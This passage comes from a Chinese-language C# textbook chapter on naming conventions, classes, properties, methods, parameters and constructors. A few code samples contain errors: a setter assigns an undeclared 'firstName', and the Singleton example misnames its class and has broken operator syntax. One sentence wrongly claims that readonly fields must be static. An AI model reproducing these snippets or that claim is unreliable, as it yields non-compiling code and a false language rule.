Unicode字符的4位十六进制编码。下面是有效标识符的一些例子: ● Name ● überfluß ● _Identifier ● \u005fIdentifier 最后两个标识符完全相同,可以互换(因为005f是下划线字符的Unicode代码),所 以这些标识符在同一个作用域内不要声明两次。注意,虽然从语法上看,在标识符中可以 使用下划线字符,但大多数情况下最好不要这么做,因为它不符合微软公司的变量命名规 则,这种命名规则可以确保开发人员使用相同的命名约定,易于阅读他人编写的代码。  注意: 为什么C#最新版本添加的一些新关键字没有列在保留字列表中?原因 是,如果它们添加到保留字列表中,就会破坏利用新C#关键字的现有代码。解决方案 是把这些关键字定义为上下文关键字,以改进语法;它们只能用在某些具体的代码 中。例如,async关键字只能用于方法声明,也可以用作变量名。编译器不会因此出现 冲突。 2.11.2 用法约定 在任何开发语言中,通常有一些传统的编程风格。这些风格不是语言自身的一部分, 而是约定,例如,变量如何命名,类、方法或函数如何使用等。如果使用某语言的大多数 开发人员都遵循相同的约定,不同的开发人员就很容易理解彼此的代码,这一般有助于程 序的维护。约定主要取决于语言和环境。例如,在Windows平台上编程的C++开发人员一 般使用前缀psz或lpsz表示字符串:char*pszResult; char *lpszMessage;,但在UNIX系统上, 则不使用任何前缀:char*Result; char *Message;。 从本书中的示例代码中可以总结出,C#中的约定是命名变量时不使用任何前缀: string Result;string Message;。  注意: 变量名用带有前缀字母的方法来表示某种数据类型,这种约定称为 Hungarian表示法。这样,其他阅读该代码的开发人员就可以立即从变量名中了解它代 表什么数据类型。在有了智能编辑器和IntelliSense之后,人们普遍认为Hungarian表示 法是多余的。 在许多语言中,用法约定是随着语言的使用逐渐演变而来的,但是对于C#和整 个.NET Framework,微软公司编写了非常多的用法准则,详见.NET/C# MSDN文档。这说 明,从一开始,.NET程序就有非常高的互操作性,开发人员可以以此来理解代码。用法 准则还得益于20年来面向对象编程的发展,因此相关的新闻组已经仔细考虑了这些用法规 则,而且已经为开发团体所接受。所以我们应遵守这些准则。 但要注意,这些准则与语言规范不同。用户应尽可能遵循这些准则。但如果有很好的 理由不遵循它们,也不会有什么问题。例如,不遵循这些准则,也不会出现编译错误。一 般情况下,如果不遵循用法准则,就必须有充分的理由。准则应是正确的决策,而不是一 种束缚。如果比较本书的后续示例,应注意到许多示例都没有遵循该约定。这通常是因为 某些准则适用于大型程序,而不适合用于小示例。如果编写一个完整的软件包,就应遵循 这些准则,但它们并不适合于只有20行代码的独立程序。在许多情况下,遵循约定会使这 些示例难以理解。 编程风格的准则非常多。这里只介绍一些比较重要的,以及最适合于用户的准则。如 果用户要让代码完全遵循用法准则,就需要参考MSDN文档。 1.命名约定 使程序易于理解的一个重要方面是给对象选择命名的方式,包括变量、方法、类、枚 举和名称空间的命名方式。 显然,这些名称应反映对象的目的,且不与其他名称冲突。在.NET Framework中, 一般规则也是变量名要反映变量实例的目的,而不反映数据类型。例如,height就是一个 比较好的变量名,而integerValue就不太好。但是,这种规则是一种理想状态,很难达 到。在处理控件时,大多数情况下使用confirmationDialog和chooseEmployeeListBox等变量 名比较好,这些变量名说明了变量的数据类型。 名称的约定包括以下几个方面。 (1)名称的大小写 在许多情况下,名称都应使用Pascal大小写形式。Pascal大小写形式指名称中单词的 首字母大写,如EmployeeSalary、ConfirmationDialog、PlainTextEncoding。注意,名称空 间和类,以及基类中的成员等的名称都应遵循Pascal大小写规则,最好不要使用带有下划 线字符的单词,即名称不应是employee_salary。其他语言中常量的名称常常全部大写,但 在C#中最好不要这样,因为这种名称很难阅读,而应全部使用Pascal大小写形式的命名约 定: const int MaximumLength; 还推荐使用另一种大小写模式:camel大小写形式。这种形式类似于Pascal大小写形 式,但名称中第一个单词的首字母不大写,如employeeSalary、confirmationDialog、 plainTextEncoding。有3种情况可以使用camel大小写形式: ● 类型中所有私有成员字段的名称: private int subscriberId; 但要注意成员字段的前缀名常常用一条下划线开头: private int _subscriberId; ● 传递给方法的所有参数的名称: public void RecordSale(string salesmanName, int quantity); ● 用于区分同名的两个对象——比较常见的是属性封装字段: private string employeeName; public string EmployeeName { get { return employeeName; } } 如果这么做,则私有成员总是使用camel大小写形式,而公有的或受保护的成员 总是使用Pascal大小写形式,这样使用这段代码的其他类就只能使用Pascal大小 写形式的名称了(除了参数名以外)。 还要注意大小写问题。C#区分大小写,所以在C#中,仅大小写不同的名称在语法上 是正确的,如上面的例子所示。但是,有时可能从Visual Basic应用程序中调用程序集, 而Visual Basic不区分大小写,如果使用仅大小写不同的名称,就必须使这两个名称不能 在程序集的外部访问(上例是可行的,因为仅私有变量使用了camel大小写形式的名 称)。否则,Visual Basic中的其他代码就不能正确使用这个程序集。 (2)名称的风格 名称的风格应保持一致。例如,如果类中的一个方法名为 ShowConfirmationDialog(),另一个方法就不能被命名为ShowDialogWarning()或 WarningDialogShow(),而应是ShowWarningDialog()。 (3)名称空间的名称 名称空间的名称非常重要,一定要仔细考虑,以避免一个名称空间的名称与其他名称 空间同名。记住,名称空间的名称是.NET区分共享程序集中对象名的唯一方式。如果一 个软件包的名称空间使用的名称与另一个软件包相同,而这两个软件包都由同一个程序使 用,就会出问题。因此,最好用自己的公司名创建顶级的名称空间,再嵌套技术范围较 窄、用户所在小组或部门或者类所在软件包的名称空间。Microsoft建议使用如下的名称空 间:<CompanyName>.<TechnologyName>,例如: WeaponsOfDestructionCorp.RayGunControllers WeaponsOfDestructionCorp.Viruses (4)名称和关键字 名称不应与任何关键字冲突,这非常重要。实际上,如果在代码中,试图给某一项指 定与C#关键字同名的名称,就会出现语法错误,因为编译器会假定该名称表示一条语 句。但是,由于类可能由其他语言编写的代码访问,所以不能使用其他.NET语言中的关 键字作为对应的名称。一般来说,C++关键字类似于C#关键字,不太可能与C++混淆,只 有Visual C++常用的关键字以两个下划线字符开头。与C#一样,C++关键字都是小写字 母,如果要遵循公有类和成员使用Pascal风格名称的约定,则在它们的名称中至少有一个 字母大写,因此不会与C++关键字冲突。另一方面,Visual Basic的问题会多一些,因为 Visual Basic的关键字要比C#的多,而且它不区分大小写,不能依赖于Pascal风格的名称来 区分类和成员。 查看MSDN文档:http://msdn.microsoft.com/library。在Development Tools and Languages, C# reference中,有一个很长的C#关键字列表,不应该用于类和成员。如果可 以使用Visual Basic语言访问类,还要检查Visual Basic关键字的列表。 2.属性和方法的使用 类中出现混乱的一个方面是某个特定数量是用属性还是方法来表示。这没有硬性规 定,但一般情况下,如果该对象的外观像变量,就应使用属性来表示它(属性详见第3 章),即: ● 客户端代码应能读取它的值。最好不要使用只写属性,例如,应使用 SetPassword()方法,而不是Password只写属性。 ● 读取该值不应花太长的时间。实际上,如果是属性,通常表明读取过程花的时间相 对较短。 ● 读取该值不应有任何明显的和不希望的负面效应。进一步说,设置属性的值,不应 有与该属性不直接相关的负面效应。设置对话框的宽度会改变该对话框在屏幕上 的外观,这是可以的,因为它与该属性相关。 ● 可以按照任何顺序设置属性。尤其在设置属性时,最好不要因为还没有设置另一个 相关的属性而抛出异常。例如,如果为了使用访问数据库的类,需要设置 ConnectionString、UserName和Password,应确保已经实现了该类,这样用户才能 按照任何顺序设置它们。 ● 顺序读取属性应有相同的结果。如果属性的值可能会出现预料不到的改变,就应把 它编写为一个方法。在监控汽车运动的类中,把speed设置为属性就不合适,而应 使用GetSpeed()方法;另一方面,应把Weight和EngineSize设置为属性,因为对 于给定的对象,它们是不变的。 如果要编码的相关项满足上述所有条件,就把它设置为属性,否则就应使用方法。 3.字段的使用 字段的用法非常简单。字段应总是私有的,但在某些情况下也可以把常量或只读字段 设置为公有。原因是如果把字段设置为公有,就不利于在以后扩展或修改类。 遵循上面的准则就可以培养良好的编程习惯,而且这些准则应与面向对象的编程风格 一起使用。 最后要记住以下有用的备注:微软公司在保持一致性方面相当谨慎,在编写.NET基 类时遵循了它自己的准则。在编写.NET代码时应很好地遵循这些规则,对于基类来说, 就是要弄清楚类、成员、名称空间的命名方式,以及类层次结构的工作方式等。类与基类 之间的一致性有助于提高可读性和可维护性。 2.12 小结 本章介绍了一些C#的基本语法,包括编写简单的C#程序需要掌握的内容。我们讲述 了许多基础知识,但其中有许多是熟悉C风格语言(甚至JavaScript)的开发人员能立即领 悟的。 C#语法与C++/Java语法非常类似,但仍存在一些细微区别。在许多领域,将这些语 法与功能结合起来会提高编码速度,如高质量的字符串处理功能。C#还有一个已定义的 强类型系统,该系统基于值类型和引用类型的区别。第3章和第4章将介绍C#的面向对象 编程特性。 第3章 对象和类型 本章要点 ● 类和结构的区别 ● 类成员 ● 表达式体成员 ● 按值和按引用传递参数 ● 方法重载 ● 构造函数和静态构造函数 ● 只读字段 ● 枚举 ● 部分类 ● 静态类 ● Object类,其他类型都从该类派生而来 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● MathSample ● MethodSample ● StaticConstructorSample ● StructsSample ● PassingByValueAndByReference ● OutKeywordSample ● EnumSample ● ExtensionMethods 3.1 创建及使用类 到目前为止,我们介绍了组成C#语言的主要模块,包括变量、数据类型和程序流语 句,并简要介绍了一个只包含Main()方法的完整小例子。但还没有介绍如何把这些内 容组合在一起,构成一个完整的程序,其关键就在于对类的处理。这就是本章的主题。第 4章将介绍继承以及与继承相关的特性。  注意: 本章将讨论与类相关的基本语法,但假定你已经熟悉了使用类的基本 原则,例如,知道构造函数或属性的含义,因此本章主要阐述如何把这些原则应用于 C#代码。 3.2 类和结构 类和结构实际上都是创建对象的模板,每个对象都包含数据,并提供了处理和访问数 据的方法。类定义了类的每个对象(称为实例)可以包含什么数据和功能。例如,如果一 个类表示一个顾客,就可以定义字段CustomerID、FirstName、LastName和Address,以包 含该顾客的信息。还可以定义处理在这些字段中存储的数据的功能。接着,就可以实例化 类的一个对象,来表示某个顾客,为这个实例设置相关字段的值,并使用其功能。 class PhoneCustomer { public const string DayOfSendingBill = "Monday"; public int CustomerID; public string FirstName; public string LastName; } 结构不同于类,因为它们不需要在堆上分配空间(类是引用类型,总是存储在堆 (heap)上),而结构是值类型,通常存储在栈(stack)上,另外,结构不支持继承。 较小的数据类型使用结构可提高性能。但在语法上,结构与类非常相似,主要的区别 是使用关键字struct代替class来声明结构。例如,如果希望所有的PhoneCustomer实例都分 布在栈上,而不是分布在托管堆上,就可以编写下面的语句: struct PhoneCustomerStruct { public const string DayOfSendingBill = "Monday"; public int CustomerID; public string FirstName; public string LastName; } 对于类和结构,都使用关键字new来声明实例:这个关键字创建对象并对其进行初始 化。在下面的例子中,类和结构的字段值都默认为0: var myCustomer = new PhoneCustomer(); // works for a class var myCustomer2 = new PhoneCustomerStruct(); // works for a struct 在大多数情况下,类要比结构常用得多。因此,我们先讨论类,然后指出类和结构的 区别,以及选择使用结构而不使用类的特殊原因。但除非特别说明,否则就可以假定用于 类的代码也适用于结构。  注意: 类和结构的一个重要区别是,类类型的对象通过引用传递,结构类型 的对象按值传递。 3.3 类 类包含成员,成员可以是静态或实例成员。静态成员属于类;实例成员属于对象。静 态字段的值对每个对象都是相同的。而每个对象的实例字段都可以有不同的值。静态成员 关联了static修饰符。成员的种类见表3-1。 表3-1 成员 说明 字段 字段是类的数据成员,它是类型的一个变量,该类型是类的一个成 员 常量 常量与类相关(尽管它们没有static修饰符)。编译器使用真实值代 替常量 方法 方法是与特定类相关联的函数 属性 属性是可以从客户端访问的函数组,其访问方式与访问类的公共字 段类似。C#为读写类中的属性提供了专用语法,所以不必使用那些 名称中嵌有Get或Set的方法。因为属性的这种语法不同于一般函数的 语法,所有在客户端代码中,虚拟的对象被当作实际的东西 构造函数 构造函数是在实例化对象时自动调用的特殊函数。它们必须与所属 的类同名,且不能有返回类型。构造函数用于初始化字段的值 索引器 索引器允许对象用访问数组的方式访问。索引器参见第8章 运算符 运算符执行的最简单的操作就是加法和减法。在两个整数相加时, 严格地说,就是对整数使用“+”运算符。C#还允许指定把已有的运算 符应用于自己的类(运算符重载)。第8章将详细论述运算符 事件 事件是类的成员,在发生某些行为(如修改类的字段或属性,或者 进行了某种形式的用户交互操作)时,它可以让对象通知调用方。 客户可以包含所谓“事件处理程序”的代码来响应该事件。第9章将详 细介绍事件 析构函数 析构函数或终结器的语法类似于构造函数的语法,但是在CLR检测 到不再需要某个对象时调用它。它们的名称与类相同,但前面有一 个“~”符号。不可能预测什么时候调用终结器。终结器详见第5章 类型 类可以包含内部类。如果内部类型只和外部类型结合使用,就很有 趣 下面详细介绍类成员。 3.3.1 字段 字段是与类相关的变量。前面的例子已经使用了PhoneCustomer类中的字段。 一旦实例化PhoneCustomer对象,就可以使用语法Object.FieldName来访问这些字段, 如下例所示: var customer1 = new PhoneCustomer(); customer1.FirstName = "Simon"; 常量与类的关联方式和变量与类的关联方式相同。使用const关键字来声明常量。如 果把它声明为public,就可以在类的外部访问它。 class PhoneCustomer { public const string DayOfSendingBill = "Monday"; public int CustomerID; public string FirstName; public string LastName; } 最好不把字段声明为public。如果修改类的公共成员,使用这个公共成员的每个调用 程序也需要更改。例如,如果希望在下一个版本中检查最大的字符串长度,公共字段就需 要更改为一个属性。使用公共字段的现有代码,必须重新编译,才能使用这个属性(尽管 在调用程序看来,语法与属性相同)。如果只在现有的属性中改变检查,那么调用程序不 需要重新编译就能使用新版本。 最好把字段声明为private,使用属性来访问字段,如下一节所述。 3.3.2 属性 属性(property)的概念是:它是一个方法或一对方法,在客户端代码看来,它 (们)是一个字段。 下面把前面示例中变量名为_firstName的名字字段改为私有。FirstName属性包含get和 set访问器,来检索和设置支持字段的值: class PhoneCustomer { private string _firstName; public string FirstName { get { return _firstName; } set { firstName = value; } } // etc. } get访问器不带任何参数,且必须返回属性声明的类型。也不应为set访问器指定任何 显式参数,但编译器假定它带一个参数,其类型也与属性相同,并表示为value。 下面的示例使用另一个命名约定。下面的代码包含一个属性Age,它设置了一个字段 age。在这个例子中,age表示属性Age的后备变量。 private int age; public int Age { get { return age; } set { age = value; } } 注意这里所用的命名约定。我们采用C#的区分大小写模式,使用相同的名称,但公 有属性采用Pascal大小写形式命名,如果存在一个等价的私有字段,则它采用camel大小写 形式命名。在早期.NET版本中,此命名约定由微软的C#团队优先使用。最近他们使用的 命名约定是给字段名加上下划线作为前缀。这会为识别字段而不是局部变量提供极大的便 利。  注意: 微软团队使用一种或另一种命名约定。使用类型的私有成员时,.NET 没有严格的命名约定。然而,在团队里应该使用相同的约定。.NET Core 团队转向使用 下划线作为字段的前缀,这是本书大多数地方使用的约定(参见 https://github.com/dotnet/corefx/blob/master/Documentation/coding-guidelines/coding- style.md)。 1.自动实现的属性 如果属性的set和get访问器中没有任何逻辑,就可以使用自动实现的属性。这种属性 会自动实现后备成员变量。前面Age示例的代码如下: public int Age { get; set; } 不需要声明私有字段。编译器会自动创建它。使用自动实现的属性,就不能直接访问 字段,因为不知道编译器生成的名称。 使用自动实现的属性,就不能在属性设置中验证属性的有效性。所以在上面的例子 中,不能检查是否设置了无效的年龄。 自动实现的属性可以使用属性初始化器来初始化: public int Age { get; set; } = 42; 2.属性的访问修饰符 C#允许给属性的get和set访问器设置不同的访问修饰符,所以属性可以有公有的get访 问器和私有或受保护的set访问器。这有助于控制属性的设置方式或时间。在下面的代码 示例中,注意set访问器有一个私有访问修饰符,而get访问器没有任何访问修饰符。这表 示get访问器具有属性的访问级别。在get和set访问器中,必须有一个具备属性的访问级 别。如果get访问器的访问级别是protected,就会产生一个编译错误,因为这会使两个访问 器的访问级别都不是属性。 public string Name { get { return _name; } private set { _name = value; } } 通过自动实现的属性,也可以设置不同的访问级别: public int Age { get; private set; }  注意: 也可以定义只有get或set访问器的属性。在创建只有set访问器的属性 之前,最好创建一个方法来代替。可以将只有get访问器的属性用于只读访问。自动实 现的、只有get访问器的属性是C# 6新增的,参见“只读成员”一节。  注意: 一些开发人员可能会担心,前面我们列举了许多情况,其中标准C#编 码方式导致了大材小用,例如,通过属性访问字段,而不是直接访问字段。这些额外 的函数调用是否会增加系统开销,导致性能下降?其实,不需要担心这种编程方式会 在C#中带来性能损失。C#代码会编译为IL,然后在运行时JIT编译为本地可执行代码。 JIT编译器可生成高度优化的代码,并在适当的时候随意地内联代码(即,用内联代码 来替代函数调用)。如果实现某个方法或属性仅是调用另一个方法,或返回一个字 段,则该方法或属性肯定是内联的。 通常不需要改变内联的行为,但在通知编译器有关内联的情况时有一些控制。使 用属性MethodImpl可以定义不应用内联的方法(MethodImplOptions.NoInlining),或内 联应该由编译器主动完成(MethodImplOptions.AggressiveInlining)。对于属性,需要 直接将这个属性应用于get和set访问器。 3.3.3 方法 注意,正式的C#术语区分函数和方法。在C#术语中,“函数成员”不仅包含方法,也 包含类或结构的一些非数据成员,如索引器、运算符、构造函数和析构函数等,甚至还有 属性。这些都不是数据成员,字段、常量和事件才是数据成员。 1.方法的声明 在C#中,方法的定义包括任意方法修饰符(如方法的可访问性)、返回值的类型, 然后依次是方法名、输入参数的列表(用圆括号括起来)和方法体(用花括号括起来)。 [modifiers] return_type MethodName([parameters]) { // Method body } 每个参数都包括参数的类型名和在方法体中的引用名称。但如果方法有返回值,则 return语句就必须与返回值一起使用,以指定出口点,例如: public bool IsSquare(Rectangle rect) { return (rect.Height == rect.Width); } 如果方法没有返回值,就把返回类型指定为void,因为不能省略返回类型。如果方法 不带参数,仍需要在方法名的后面包含一对空的圆括号()。此时return语句就是可选的 ——当到达右花括号时,方法会自动返回。 2.表达式体方法 如果方法的实现只有一个语句,C# 6为方法定义提供了一个简化的语法:表达式体方 法。使用新的语法,不需要编写花括号和return关键字,而使用运算符= >(lambda操作 符)区分操作符左边的声明和操作符右边的实现代码。 下面的例子与前面的方法IsSquare相同,但使用表达式体方法语法实现。lambda操作 符的右侧定义了方法的实现代码。不需要花括号和返回语句。返回的是语句的结果,该结 果的类型必须与左边方法声明的类型相同,在下面的代码片段中,该类型是bool: public bool IsSquare(Rectangle rect) => rect.Height == rect.Width; 3.调用方法 在下面的例子中,说明了类的定义和实例化、方法的定义和调用的语法。类Math定 义了静态成员和实例成员(代码文件MathSample/Math.cs): public class Math { public int Value { get; set; } public int GetSquare() => Value * Value; public static int GetSquareOf(int x) => x * x; public static double GetPi() => 3.14159; } Program类利用Math类,调用静态方法,实例化一个对象,来调用实例成员(代码文 件MathSample/ Program.cs): using static System.Console; namespace MathSample { class Program { static void Main() { // Try calling some static functions. WriteLine($"Pi is {Math.GetPi()}"); int x = Math.GetSquareOf(5); WriteLine($"Square of 5 is {x}"); // Instantiate a Math object var math = new Math(); // instantiate a reference type // Call instance members math.Value = 30; WriteLine($"Value field of math variable contains {math.Value}"); WriteLine($"Square of 30 is {math.GetSquare()}"); } } 运行MathSample示例,会得到如下结果: Pi is 3.14159 Square of 5 is 25 Value field of math variable contains 30 Square of 30 is 900 从代码中可以看出,Math类包含一个属性和一个方法,该属性包含一个数字,该方 法计算该数字的平方。这个类还包含两个静态方法,一个返回pi的值,另一个计算作为参 数传入的数字的平方。 这个类有一些功能并不是设计C#程序的好例子。例如,GetPi()通常作为const字段 来执行,而好的设计应使用目前还没有介绍的概念。 4.方法的重载 C#支持方法的重载——方法的几个版本有不同的签名(即,方法名相同,但参数的 个数和/或数据类型不同)。为了重载方法,只需要声明同名但参数个数或类型不同的方 法即可: class ResultDisplayer { public void DisplayResult(string result) { // implementation } public void DisplayResult(int result) { // implementation } } 不仅参数类型可以不同,参数的数量也可以不同,如下一个示例所示。一个重载的方 法可以调用另一个重载的方法: class MyClass { public int DoSomething(int x) { return DoSomething(x, 10); // invoke DoSomething with two parameters } public int DoSomething(int x, int y) { // implementation } }  注意: 对于方法重载,仅通过返回类型不足以区分重载的版本。仅通过参数 名称也不足以区分它们。需要区分参数的数量和/或类型。 5.命名的参数 调用方法时,变量名不需要添加到调用中。然而,如果有如下的方法签名,用于移动 矩形: public void MoveAndResize(int x, int y, int width, int height) 用下面的代码片段调用它,就不能从调用中看出使用了什么数字,这些数字用于哪 里: r.MoveAndResize(30, 40, 20, 40); 可以改变调用,明确数字的含义: r.MoveAndResize(x: 30, y: 40, width: 20, height: 40); 任何方法都可以使用命名的参数调用。只需要编写变量名,后跟一个冒号和所传递的 值。编译器会去掉变量名,创建一个方法调用,就像没有变量名一样——这在编译后的代 码中没有差别。 还可以用这种方式更改变量的顺序,编译器会重新安排,获得正确的顺序。其真正的 优势是下一节所示的可选参数。 6.可选参数 参数也可以是可选的。必须为可选参数提供默认值。可选参数还必须是方法定义的最 后的参数: public void TestMethod(int notOptionalNumber, int optionalNumber = 42) { WriteLine(optionalNumber + notOptionalNumber); } 这个方法可以使用一个或两个参数调用。传递一个参数,编译器就修改方法调用,给 第二个参数传递42。 TestMethod(11); TestMethod(11, 22);  注意: 因为编译器用可选参数改变方法,传递默认值,所以在程序集的新版 本中,默认值不应该改变。在新版本中修改默认值,如果调用程序在没有重新编译的 另一个程序集中,就会使用旧的默认值。这就是为什么应该只给可选参数提供永远不 会改变的值。如果默认值更改时,总是重新编译调用的方法,这就不是一个问题。 可以定义多个可选参数,如下所示: public void TestMethod(int n, int opt1 = 11 , int opt2 = 22 , int opt3 = 33 ) { WriteLine(n + opt1 + opt2 + opt3); } 这样,该方法就可以使用1、2、3或4个参数调用。下面代码中的第一行给可选参数指 定值11、22和33。第二行传递了前三个参数,最后一个参数的值是33: TestMethod(1); TestMethod(1, 2, 3); 通过多个可选参数,命名参数的特性就会发挥作用。使用命名参数,可以传递任何可 选参数,例如,下面的例子仅传递最后一个参数: TestMethod(1, opt3: 4);  注意: 注意使用可选参数时的版本控制问题。一个问题是在新版本中改变默 认值;另一个问题是改变参数的数量。添加另一个可选参数看起来很容易,因为它是 可选的。然而,编译器更改调用代码,填充所有的参数,如果以后添加另一个参数, 早期编译的调用程序就会失败。 7.个数可变的参数 使用可选参数,可以定义数量可变的参数。然而,还有另一种语法允许传递数量可变 的参数——这个语法没有版本控制问题。 声明数组类型的参数(示例代码使用一个int数组),添加params关键字,就可以使用 任意数量的int参数调用该方法。 public void AnyNumberOfArguments(params int[] data) { foreach (var x in data) { WriteLine(x); } }  注意: 数组参见第7章。 AnyNumberOfArguments方法的参数类型是int[],可以传递一个int数组,或因为 params关键字,可以传递一个或任何数量的int值: AnyNumberOfArguments(1); AnyNumberOfArguments(1, 3, 5, 7, 11, 13); 如果应该把不同类型的参数传递给方法,可以使用object数组: public void AnyNumberOfArguments(params object[] data) { // etc. 现在可以使用任何类型调用这个方法: AnyNumberOfArguments("text", 42); 如果params关键字与方法签名定义的多个参数一起使用,则params只能使用一次,而 且它必须是最后一个参数: WriteLine(string format, params object[] arg); 前面介绍了方法的许多方面,下面看看构造函数,这是一种特殊的方法。 3.3.4 构造函数 声明基本构造函数的语法就是声明一个与包含的类同名的方法,但该方法没有返回类 型: public class MyClass { public MyClass() { } // rest of class definition 没有必要给类提供构造函数,到目前为止本书的例子中没有提供这样的构造函数。一 般情况下,如果没有提供任何构造函数,编译器会在后台生成一个默认的构造函数。这是 一个非常基本的构造函数,它只能把所有的成员字段初始化为标准的默认值(例如,引用 类型为空引用,数值数据类型为0, bool为false)。这通常就足够了,否则就需要编写自己 的构造函数。 构造函数的重载遵循与其他方法相同的规则。换言之,可以为构造函数提供任意多的 重载,只要它们的签名有明显的区别即可: public MyClass() // zeroparameter constructor { // construction code } public MyClass(int number) // another overload { // construction code } 但是,如果提供了带参数的构造函数,编译器就不会自动提供默认的构造函数。只有 在没有定义任何构造函数时,编译器才会自动提供默认的构造函数。在下面的例子中,因 为定义了一个带单个参数的构造函数,编译器会假定这是可用的唯一构造函数,所以它不 会隐式地提供其他构造函数: public class MyNumber { private int _number; public MyNumber(int number) { _number = number; } } 如果试图使用无参数的构造函数实例化MyNumber对象,就会得到一个编译错误: var numb = new MyNumber(); // causes compilation error 注意,可以把构造函数定义为private或protected,这样不相关的类就不能访问它们: public class MyNumber { private int _number; private MyNumber(int number) // another overload { _number = number; } } 这个例子没有为MyNumber定义任何公有的或受保护的构造函数。这就使MyNumber 不能使用new运算符在外部代码中实例化(但可以在MyNumber中编写一个公有静态属性 或方法,以实例化该类)。这在下面两种情况下是有用的: ● 类仅用作某些静态成员或属性的容器,因此永远不会实例化它。在这种情况下,可 以用static修饰符声明类。使用这个修饰符,类只能包含静态成员,不能实例化。 ● 希望类仅通过调用某个静态成员函数来实例化(这就是所谓对象实例化的类工厂方 法)。单例模式的实现如下面的代码片段所示: public class Singleton { private static Singleton s_instance; private int _state; private Singleton(int state) { _state = state; } public static Singleton Instance { get { return s_instance ? ? (s_instance = new MySingleton(42); } } } Singleton类包含一个私有构造函数,所以只能在类中实例化它本身。为了实例化它, 静态属性Instance返回字段s_instance。如果这个字段尚未初始化(null),就调用实例构 造函数,创建一个新的实例。为了检查null,使用合并操作符。如果这个操作符的左边是 null,就处理操作符的右边,调用实例构造函数。  注意: 合并操作符参见第8章。 1.从构造函数中调用其他构造函数 有时,在一个类中有几个构造函数,以容纳某些可选参数,这些构造函数包含一些共 同的代码。例如,下面的情况: class Car { private string _description; private uint _nWheels; public Car(string description, uint nWheels) { _description = description; _nWheels = nWheels; } public Car(string description) { _description = description; _nWheels = 4; } // etc. 这两个构造函数初始化相同的字段,显然,最好把所有的代码放在一个地方。C#有 一个特殊的语法,称为构造函数初始化器,可以实现此目的: class Car { private string _description; private uint _nWheels; public Car(string description, uint nWheels) { _description = description; _nWheels = nWheels; } public Car(string description): this (description, 4) { } // etc 这里,this关键字仅调用参数最匹配的那个构造函数。注意,构造函数初始化器在构 造函数的函数体之前执行。现在假定运行下面的代码: var myCar = new Car("Proton Persona"); 在本例中,在带一个参数的构造函数的函数体执行之前,先执行带两个参数的构造函 数(但在本例中,因为在带一个参数的构造函数的函数体中没有代码,所以没有区别)。 C#构造函数初始化器可以包含对同一个类的另一个构造函数的调用(使用前面介绍 的语法),也可以包含对直接基类的构造函数的调用(使用相同的语法,但应使用base关 键字代替this)。初始化器中不能有多个调用。 2.静态构造函数 C#的一个新特征是也可以给类编写无参数的静态构造函数。这种构造函数只执行一 次,而前面的构造函数是实例构造函数,只要创建类的对象,就会执行它。 class MyClass { static MyClass() { // initialization code } // rest of class definition } 编写静态构造函数的一个原因是,类有一些静态字段或属性,需要在第一次使用类之 前,从外部源中初始化这些静态字段和属性。 .NET运行库没有确保什么时候执行静态构造函数,所以不应把要求在某个特定时刻 (例如,加载程序集时)执行的代码放在静态构造函数中。也不能预计不同类的静态构造 函数按照什么顺序执行。但是,可以确保静态构造函数至多运行一次,即在代码引用类之 前调用它。在C#中,通常在第一次调用类的任何成员之前执行静态构造函数。 注意,静态构造函数没有访问修饰符,其他C#代码从来不显式调用它,但在加载类 时,总是由.NET运行库调用它,所以像public或private这样的访问修饰符就没有任何意 义。出于同样原因,静态构造函数不能带任何参数,一个类也只能有一个静态构造函数。 很显然,静态构造函数只能访问类的静态成员,不能访问类的实例成员。 无参数的实例构造函数与静态构造函数可以在同一个类中定义。尽管参数列表相同, 但这并不矛盾,因为在加载类时执行静态构造函数,而在创建实例时执行实例构造函数, 所以何时执行哪个构造函数不会有冲突。 如果多个类都有静态构造函数,先执行哪个静态构造函数就不确定。此时静态构造函 数中的代码不应依赖于其他静态构造函数的执行情况。另一方面,如果任何静态字段有默 认值,就在调用静态构造函数之前分配它们。 下面用一个例子来说明静态构造函数的用法。该例子的思想基于包含用户首选项的程 序(假定用户首选项存储在某个配置文件中)。为了简单起见,假定只有一个用户首选项 ——BackColor,它表示要在应用程序中使用的背景色。因为这里不想编写从外部数据源 中读取数据的代码,所以假定该首选项在工作日的背景色是红色,在周末的背景色是绿 色。程序仅在控制台窗口中显示首选项——但这足以说明静态构造函数是如何工作的。 类UserPreferences用static修饰符声明,因此它不能实例化,只能包含静态成员。静态 构造函数根据星期几初始化BackColor属性(代码文件StaticConstructorSample / UserPreferences.cs): public static class UserPreferences { public static Color BackColor { get; } static UserPreferences() { DateTime now = DateTime.Now; if (now.DayOfWeek == DayOfWeek.Saturday || now.DayOfWeek == DayOfWeek.Sunday) { BackColor = Color.Green; } else { BackColor = Color.Red; } } } 这段代码使用了.NET Framework类库提供的System.DateTime结构。DateTime结构实 现了返回当前时间的静态属性Now, DayOfWeek属性是DateTime的实例属性,返回一个类 型DayOfWeek的枚举值。 Color定义为enum类型,包含几种颜色。enum类型详见“枚举”一节(代码文件 StaticConstructor-Sample/Enum.cs):: public enum Color { White, Red, Green, Blue, Black } Main方法调用WriteLine方法,把用户首选的背景色写到控制台(代码文件 StaticConstructorSample/Program.cs): class Program { static void Main() { WriteLine( $"User-preferences: BackColor is: {UserPreferences.BackColor}"); } } 编译并运行这段代码,会得到如下结果: User-preferences: BackColor is: Color Red 当然,如果在周末执行上述代码,颜色首选项就是Green。 3.3.5 只读成员 如果不希望在初始化后修改数据成员,就可以使用readonly关键字。下面详细描述只 读字段和只读属性。 3.3.6 只读字段 为了保证对象的字段不能改变,字段可以用readonly修饰符声明。带有readonly修饰符 的字段只能在构造函数中分配值。它与const修饰符不同。编译器通过const修饰符,用其 值取代了使用它的变量。编译器知道常量的值。只读字段在运行期间通过构造函数指定。 与常量字段相反,只读字段可以是实例成员。使用只读字段作为类成员时,需要把static 修饰符分配给该字段。 如果有一个用于编辑文档的程序,因为要注册,所以需要限制可以同时打开的文档 数。现在假定要销售该软件的不同版本,而且顾客可以升级他们的版本,以便同时打开更 多的文档。显然,不能在源代码中对最大文档数进行硬编码,而是需要一个字段来表示这 个最大文档数。这个字段必须是只读的——每次启动程序时,从注册表键或其他文件存储 中读取。代码如下所示: public class DocumentEditor { private static readonly uint s_maxDocuments; static DocumentEditor() { s_maxDocuments = DoSomethingToFindOutMaxNumber(); } } 在本例中,字段是静态的,因为每次运行程序的实例时,只需要存储最大文档数一 次。这就是在静态构造函数中初始化它的原因。如果只读字段是一个实例字段,就要在实 